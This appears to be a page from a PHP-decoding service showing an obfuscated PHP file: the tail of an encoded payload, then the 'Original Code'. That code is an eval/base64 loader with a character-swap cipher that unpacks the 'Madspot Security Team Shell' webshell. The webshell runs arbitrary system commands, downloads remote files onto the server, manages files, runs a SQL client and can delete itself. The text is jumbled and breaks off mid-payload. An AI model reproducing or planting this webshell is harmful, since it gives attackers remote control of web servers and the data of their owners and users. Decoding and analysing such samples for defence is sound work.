NG5wM3QgdHlwNT1iM3R0Mm4gdjFsMzU9J0QzbXAnIDJuY2w0Y2s9J2QyYzNtNW50LnNmLnBhLnYxbDM1PVwiZDJ3bmwyMWRcIjtkMmMzbTVudC5zZi5zM2JtNHQoKTsnPjxicj5GNGw1IHAxdGg6PDRucDN0IHR5cDU9dDV4dCBuMW01PWY0bDUgdjFsMzU9J2QzbXAuc3FsJz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQoJCQkJNGYoQCRfUE9TVFsncDYnXSA9PSAnczVsNWN0Jykgew0KCQkJCQkkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSAkX1BPU1RbJ3BvJ10/JF9QT1NUWydwbyddOjY7DQoJCQkJCSRkYi0+cTM1cnkoJ1NFTEVDVCBDT1VOVCgqKSAxcyBuIEZST00gJyAuICRfUE9TVFsncGEnXSk7DQoJCQkJCSRuM20gPSAkZGItPmY1dGNoKCk7DQoJCQkJCSRwMWc1cyA9IGM1NGwoJG4zbVsnbiddIC8gbzApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8c2NyNHB0PmQuc2YuMm5zM2JtNHQ9ZjNuY3Q0Mm4oKXtzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAiXCIsIGQuc2YucG8udjFsMzUpfTwvc2NyNHB0PjxzcDFuPiIuJF9QT1NUWydwYSddLiI8L3NwMW4+ICh7JG4zbVsnbiddfSByNWMycmRzKSBQMWc1ICMgPDRucDN0IHR5cDU9dDV4dCBuMW01PSdwbycgdjFsMzU9IiAuICgoNG50KSRfUE9TVFsncG8nXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPiA2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10tNikgLiAiKSc+Jmx0OyBQcjV2PC8xPiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddKzYpIC4gIiknPk41eHQgJmd0OzwvMT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10tLTsNCgkJCQkJNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncGEnXS4nIExJTUlUIG8wIE9GRlNFVCAnLigkX1BPU1RbJ3BvJ10qbzApOw0KCQkJCQk1bHM1DQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3BhJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwbyddKm8wKS4nLG8wJzsNCgkJCQkJNWNoMiAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQk0ZigoQCRfUE9TVFsncDYnXSA9PSAncTM1cnknKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KCQkJCQkkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOw0KCQkJCQk0ZigkZGItPnI1cyAhPT0gZjFsczUpIHsNCgkJCQkJCSR0NHRsNSA9IGYxbHM1Ow0KCQkJCQkJNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsNCgkJCQkJCSRsNG41ID0gNjsNCgkJCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKQl7DQoJCQkJCQkJNGYoISR0NHRsNSkJew0KCQkJCQkJCQk1Y2gyICc8dHI+JzsNCgkJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkNCgkJCQkJCQkJCTVjaDIgJzx0aD4nLiRrNXkuJzwvdGg+JzsNCgkJCQkJCQkJcjVzNXQoJDR0NW0pOw0KCQkJCQkJCQkkdDR0bDU9dHIzNTsNCgkJCQkJCQkJNWNoMiAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGw0bjUgPSBhOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8dHIgY2wxc3M9ImwnLiRsNG41LiciPic7DQoJCQkJCQkJJGw0bjUgPSAkbDRuNT09Nj9hOjY7DQoJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgew0KCQkJCQkJCQk0ZigkdjFsMzUgPT0gbjNsbCkNCgkJCQkJCQkJCTVjaDIgJzx0ZD48ND5uM2xsPC80PjwvdGQ+JzsNCgkJCQkJCQkJNWxzNQ0KCQkJCQkJCQkJNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQk1Y2gyICc8L3QxYmw1Pic7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQk1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3A2J10gIT0gJ2wyMWRmNGw1JykpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7DQoJCQkJNWNoMiAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQk1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7DQogICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cTM1cnkoIlNFTEVDVCA2IEZST00gbXlzcWwuM3M1ciBXSEVSRSBjMm5jMXQoYDNzNXJgLCAnQCcsIGBoMnN0YCkgPSBVU0VSKCkgQU5EIGBGNGw1X3ByNHZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cImwyMWRmNGw1XCI7ZDJjM201bnQuc2YucGEudjFsMzU9dGg0cy5mLnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkwyMWQgZjRsNTwvc3Axbj4gPDRucDN0ICBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogICAgICAgICAgICB9DQoJCQk0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsNCgkJCQkkZjRsNSA9ICRkYi0+bDIxZEY0bDUoJF9QT1NUWydwYSddKTsNCgkJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDVbJ2Y0bDUnXSkuJzwvcHI1Pic7DQoJCQl9DQoJfSA1bHM1IHsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSk7DQogICAgfQ0KCTVjaDIgJzwvZDR2Pic7DQogICAgbTFkZjIydDVyKCk7DQogICAgDQogfQ0KIA0KIGYzbmN0NDJuIG0xZHM1bGZybSgpDQogew0KICAgIA0KICAgIDRmKCRfUE9TVFsncDYnXSA9PSAneTVzJykNCgkJNGYoQDNubDRuayhwcjVnX3I1cGwxYzUoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOw0KCQk1bHM1DQoJCQk1Y2gyICczbmw0bmsgNXJyMnIhJzsNCiAgICA0ZigkX1BPU1RbJ3A2J10gIT0gJ3k1cycpDQogICAgICAgIG0xZGg1MWQoKTsNCgk1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiI7DQogICAgDQogICAgDQogICAgNWNoMiAiDQogICAgDQogICAgICAgICAgICAgICAgL15cDQogICAgICAgXy4tYDogICAvICAgXCAgIDonLS5fDQogICAgICxgICAgIDogIHwgICAgIHwgIDogICAgJy4NCiAgICxgICAgICAgIFwsfCAgICAgfCwvICAgICAgICcuDQogIC8gICAgICAgICAgIGAtLi4uLWAgICAgICAgICAgIFwNCiA6ICAgICAgICAgICAgICAuJy4gICAgICAgICAgICAgIDoNCiB8ICAgICAgICAgICAgIC4gJyAuICAgICAgICAgICAgIHwNCiB8ICAgICAgICAgICAgICcgLiAnICAgICAgICAgICAgIHwNCiA6ICAgICAgICAgICAgICAnLicgICAgICAgICAgICAgIDoNCiAgXCAgICAgICAgICAgLC0nJyctLCAgICAgICAgICAgLw0KICAgYC4gICAgICAgLyd8ICAgICB8J1wgICAgICAgLCcNCiAgICAgYC5fICAgOyAgfCAgICAgfCAgOyAgIF8sJw0KICAgICAgICBgLS46ICB8ICAgICB8ICA6LC0nDQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KICAgICAgICAgICAgICB8ICAgICB8DQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KIjsNCiAgICANCiAgICANCiAgICANCiAgICA1Y2gyICc8YnI+SzRsbCBNNT88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj5ZNXM8LzE+PC9kNHY+JzsNCgltMWRGMjJ0NXIoKTsNCiAgICANCiB9DQoNCg0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQoJNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJ20xZCcgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KCQkkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCgk1bHM1DQoJCSRfUE9TVFsnMSddID0gJ0Y0bDVzTTFuJzsNCjRmKCAhNW1wdHkoJF9QT1NUWycxJ10pICYmIGYzbmN0NDJuXzV4NHN0cygnbTFkJyAuICRfUE9TVFsnMSddKSApDQoJYzFsbF8zczVyX2YzbmMoJ20xZCcgLiAkX1BPU1RbJzEnXSk7DQoJNXg0dDsNCj8+';eval($OOO0000O0('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Did this file decode correctly?

Original Code

<?php  eval$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8}; $_F=__FILE__;$_X='Pz48P3BocA0KDQovKioNCiAqIEAxM3RoMnIgSWtyMW0gQUxJDQogKiBAYzJweXI0Z2h0IGEwNmENCiAqLw0KQGQ1ZjRuNSgnVkVSU0lPTicsJzYuMCcpOw0KQDVycjJyX3I1cDJydDRuZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBzNXNzNDJuX3N0MXJ0KCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIG0xZHN0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ20xZHN0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gbTFkc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KNGYgKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKT09Inc0biIpDQogICAgJHN5cz0ndzRuJzsNCiA1bHM1DQogICAgJHN5cz0nM240eCc7DQogICAgDQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsgICANCiAgICANCiRjd2QgPSBAZzV0Y3dkKCk7DQo0Zigkc3lzID09ICd3NG4nKSANCnsNCiAgICAkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQoNCjRmKCRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApDQoJJGN3ZCAuPSAnLyc7DQogICAgDQogICAgDQpmM25jdDQybiBtMWRFeCgkNG4pIHsNCgkkMjN0ID0gJyc7DQoJNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7DQoJCUA1eDVjKCQ0biwkMjN0KTsNCgkJJDIzdCA9IEBqMjRuKCJcbiIsJDIzdCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAcDFzc3RocjMoJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3N5c3Q1bScpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBzeXN0NW0oJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3NoNWxsXzV4NWMnKSkgew0KCQkkMjN0ID0gc2g1bGxfNXg1YygkNG4pOw0KCX0gNWxzNTRmICg0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCgkJJDIzdCA9ICIiOw0KCQl3aDRsNSghQGY1MmYoJGYpKQ0KCQkJJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCgkJcGNsMnM1KCRmKTsNCgl9DQoJcjV0M3JuICQyM3Q7DQp9DQokZDJ3bj1AZzV0Y3dkKCk7DQo0Zigkc3lzPT0idzRuIikNCiRkMnduLj0nXFwnOw0KNWxzNQ0KJGQyd24uPScvJzsNCjRmKDRzczV0KCRfUE9TVFsncnRkMnduJ10pKQ0Kew0KJDNybCA9ICRfUE9TVFsncnRkMnduJ107DQokbjV3Zm4xbTUgPSAkZDJ3bi4gYjFzNW4xbTUoJDNybCk7DQokZjRsNSA9IGYycDVuICgkM3JsLCAicmIiKTsNCjRmICgkZjRsNSkgew0KICAkbjV3ZiA9IGYycDVuICgkbjV3Zm4xbTUsICJ3YiIpOw0KICA0ZiAoJG41d2YpDQogIHdoNGw1KCFmNTJmKCRmNGw1KSkgew0KICAgIGZ3cjR0NSgkbjV3ZiwgZnI1MWQoJGY0bDUsIDYwYXUgKiA4ICksIDYwYXUgKiA4ICk7DQogIH0NCiAgfQ0KDQo0ZiAoJGY0bDUpIHsNCiAgZmNsMnM1KCRmNGw1KTsNCn0NCjRmICgkbjV3Zikgew0KICBmY2wyczUoJG41d2YpOw0KfQ0KfQ0KDQogICAgDQogDQogZjNuY3Q0Mm4gbTFkaDUxZCgpDQogew0KICAgIDRmKDVtcHR5KCRfUE9TVFsnY2gxcnM1dCddKSkNCgkJJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107DQogDQokZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0MnQxbFNwMWM1ID0gQGQ0c2tfdDJ0MWxfc3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsgICAgICAgIA0KICAgIA0KJDJuPSI8ZjJudCBjMmwycj0jMEYwPiBPTiA8L2YybnQ+IjsNCiQyZj0iPGYybnQgYzJsMnI9cjVkPiBPRkYgPC9mMm50PiI7DQokbjJuNT0iPGYybnQgYzJsMnI9IzBGMD4gTk9ORSA8L2YybnQ+IjsgICANCjRmKGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJykpDQogICAgJGMzcmw9JDJuOw0KNWxzNQ0KICAgICRjM3JsPSQyZjsNCjRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQogICAgJG15c3FsPSQybjsNCiA1bHM1DQogICAgJG15c3FsPSQyZjsgICAgICANCjRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KICAgICRtc3NxbD0kMm47DQo1bHM1DQogICAkbXNzcWw9JDJmOyANCgkJDQo0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCiAgICAkcGc9JDJuOw0KNWxzNQ0KICAgJHBnPSQyZjsgICAgCQkNCjRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCiAgICQycj0kMm47DQo1bHM1DQogICAkMnI9JDJmOw0KNGYoQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJykpDQogICRkNHNmM249QDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQo1bHM1DQokZDRzZjNuPSJBbGwgRjNuY3Q0Mm5zIEVuMWJsNSI7DQo0ZihANG40X2c1dCgnczFmNV9tMmQ1JykpDQokczFmNV9tMmQ1cz0iPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50PiI7DQo1bHM1DQokczFmNV9tMmQ1cz0iPGYybnQgYzJsMnI9IzBGMCA+T0ZGPC9mMm50PiI7DQo0ZihANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpDQokMnA1bl9iPUA0bjRfZzV0KCcycDVuX2IxczVkNHInKTsNCiAgICA1bHM1DQogICQycDVuX2I9JG4ybjU7DQogICAgDQoNCjRmKEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSkNCiRzMWY1XzV4NT1ANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJyk7DQogICAgNWxzNQ0KJHMxZjVfNXg1PSRuMm41Ow0KNGYoQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKQ0KICAgJHMxZjVfNG5jbDNkNT1ANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJyk7IA0KNWxzNQ0KICRzMWY1XzRuY2wzZDU9JG4ybjU7DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwMnM0eF9nNXQ1ZzRkJykpIA0Kew0KCQkkM3M1ciA9IEBnNXRfYzNycjVudF8zczVyKCk7DQoJCSQzNGQgPSBAZzV0bXkzNGQoKTsNCgkJJGc0ZCA9IEBnNXRteWc0ZCgpOw0KCQkkZ3IyM3AgPSAiPyI7DQp9IDVsczUgDQp7DQoJCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQocDJzNHhfZzV0NTM0ZCgpKTsNCgkJJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOw0KCQkkM3M1ciA9ICQzNGRbJ24xbTUnXTsNCgkJJDM0ZCA9ICQzNGRbJzM0ZCddOw0KCQkkZ3IyM3AgPSAkZzRkWyduMW01J107DQoJCSRnNGQgPSAkZzRkWydnNGQnXTsNCgl9DQoNCg0KICAgICAkY3dkX2w0bmtzID0gJyc7DQoJJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jMjNudCgkcDF0aCk7DQoJZjJyKCQ0PTA7ICQ0PCRuLTY7ICQ0KyspIHsNCgkJJGN3ZF9sNG5rcyAuPSAiPDEgIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCgkJZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCgkJCSRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCgkJJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KCX0NCg0KJGRyNHY1cyA9ICIiOw0KZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpDQo0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkNCiRkcjR2NXMgLj0gJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJy4kZHI0djUuJzovXCcpIj5bICcuJGRyNHY1LicgXTwvMT4gJzsNCg0KDQoNCg0KDQogNWNoMiAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9Xb0MvL0RURCBYSFRNTCA2LjAgVHIxbnM0dDQybjFsLy9FTiIgImh0dHA6Ly93d3cud28uMnJnL1RSL3hodG1sNi9EVEQveGh0bWw2LXRyMW5zNHQ0Mm4xbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cud28uMnJnLzY5OTkveGh0bWwiPg0KPGg1MWQ+DQo8bTV0MSBodHRwLTVxMzR2PSJDMm50NW50LVR5cDUiIGMybnQ1bnQ9InQ1eHQvaHRtbDsgY2gxcnM1dD0zdGYtOCIgLz4NCjxsNG5rIGhyNWY9Imh0dHA6Ly93d3cubTFkc3AydC5uNXQvZjF2NGMybi40YzIiIHI1bD0iNGMybiIgdHlwNT0iNG0xZzUveC00YzJuIi8+DQo8dDR0bDU+TTFkc3AydCBTNWMzcjR0eSBUNTFtIFNoNWxsPC90NHRsNT4NCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+DQo8IS0tDQoud2gybDUgew0KCWIxY2tncjIzbmQtYzJsMnI6ICNDQ0M7DQoJaDU0Z2h0OjEzdDI7DQoJdzRkdGg6IDEzdDI7DQoJbTFyZzRuLXQycDogNjBweDsNCgltMXJnNG4tcjRnaHQ6IDYwcHg7DQoJbTFyZzRuLWw1ZnQ6IDYwcHg7DQp9DQouaDUxZDVyIHsNCgloNTRnaHQ6IDEzdDI7DQoJdzRkdGg6IDEzdDI7DQoJYjJyZDVyOiA3cHggczJsNGQgI0NDQzsNCgljMmwycjogIzk5OTsNCglmMm50LXM0ejU6IDZhcHg7DQoJZjJudC1mMW00bHk6IFY1cmQxbjEsIEc1bjV2MSwgczFucy1zNXI0ZjsNCgliMWNrZ3IyM25kLWMybDJyOiAjMDAwOw0KfQ0KLmg1MWQ1ciAxIHtjMmwycjojMEYwOyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTt9DQpzcDFuIHsNCglmMm50LXc1NGdodDogYjJsZDVyOw0KCWMybDJyOiAjRkZGOw0KfQ0KI201M25sNHN0IHsNCglmMm50LWYxbTRseTogVjVyZDFuMSwgRzVuNXYxLCBzMW5zLXM1cjRmOw0KCWMybDJyOiAjRkZGOw0KCWIxY2tncjIzbmQtYzJsMnI6ICMwMDA7DQoJdzRkdGg6IDEzdDI7DQoJYjJyZDVyLXI0Z2h0LXc0ZHRoOiA3cHg7DQoJYjJyZDVyLWw1ZnQtdzRkdGg6IDdweDsNCgliMnJkNXItdDJwLXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItcjRnaHQtc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1iMnR0Mm0tc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1sNWZ0LXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItdDJwLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1yNGdodC1jMmwycjogI0NDQzsNCgliMnJkNXItYjJ0dDJtLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1sNWZ0LWMybDJyOiAjQ0NDOw0KCWg1NGdodDogMTN0MjsNCglmMm50LXM0ejU6IDZhcHg7DQoJZjJudC13NTRnaHQ6IGIybGQ7DQoJYjJyZDVyLXQycC13NGR0aDogMHB4Ow0KfQ0KICAud2gybDUgI201M25sNHN0IDNsIHsNCglwMWRkNG5nLXQycDogaXB4Ow0KCXAxZGQ0bmctcjRnaHQ6IGlweDsNCglwMWRkNG5nLWIydHQybTogN3B4Ow0KCXAxZGQ0bmctbDVmdDogYXB4Ow0KCXQ1eHQtMWw0Z246YzVudDVyOw0KCWw0c3Qtc3R5bDUtdHlwNTogbjJuNTsNCgltMXJnNG46IDBweDsNCn0NCiAgLndoMmw1ICNtNTNubDRzdCBsNCB7DQoJbTFyZzRuOiAwcHg7DQoJcDFkZDRuZzogMHB4Ow0KCWQ0c3BsMXk6IDRubDRuNTsNCn0NCiAgLndoMmw1ICNtNTNubDRzdCAxIHsNCiAgICBmMm50LWYxbTRseTogMXI0MWwsIHMxbnMtczVyNGY7DQoJZjJudC1zNHo1OiA2dXB4Ow0KCXQ1eHQtZDVjMnIxdDQybjpuMm41Ow0KCWYybnQtdzU0Z2h0OiBiMmxkOw0KCWMybDJyOiAjZmZmOw0KCWNsNTFyOiBiMnRoOw0KCXc0ZHRoOiA2MDBweDsNCgltMXJnNG4tcjRnaHQ6IC1lcHg7DQoJcDFkZDRuZy10MnA6IG9weDsNCglwMWRkNG5nLXI0Z2h0OiA2aXB4Ow0KCXAxZGQ0bmctYjJ0dDJtOiBvcHg7DQoJcDFkZDRuZy1sNWZ0OiA2aXB4Ow0KCWIycmQ1ci1yNGdodC13NGR0aDogNnB4Ow0KCWIycmQ1ci1yNGdodC1zdHlsNTogczJsNGQ7DQoJYjJyZDVyLXI0Z2h0LWMybDJyOiAjRkZGOw0KfQ0KICAud2gybDUgI201M25sNHN0IDE6aDJ2NXIgew0KCWMybDJyOiAjMDAwOw0KCWIxY2tncjIzbmQ6ICNmZmY7DQp9DQoNCi5mMjJ0IHsNCglmMm50LWYxbTRseTogVjVyZDFuMSwgRzVuNXYxLCBzMW5zLXM1cjRmOw0KCWIxY2tncjIzbmQtYzJsMnI6ICMwMDA7DQoJbTFyZzRuOiAwcHg7DQoJcDFkZDRuZzogMHB4Ow0KCXc0ZHRoOiA2MDAlOw0KCXQ1eHQtMWw0Z246IGM1bnQ1cjsNCglmMm50LXM0ejU6IDZhcHg7DQoJYzJsMnI6ICNDQ0M7DQoJYjJyZDVyLXI0Z2h0LXc0ZHRoOiA3cHg7DQoJYjJyZDVyLWw1ZnQtdzRkdGg6IDdweDsNCiAgICBiMnJkNXItYjJ0dDJtLXc0ZHRoOiA3cHg7DQogICAgYjJyZDVyLWIydHQybS1zdHlsNTogczJsNGQ7DQogICAgYjJyZDVyLXI0Z2h0LXN0eWw1OiBzMmw0ZDsNCiAgICBiMnJkNXItcjRnaHQtc3R5b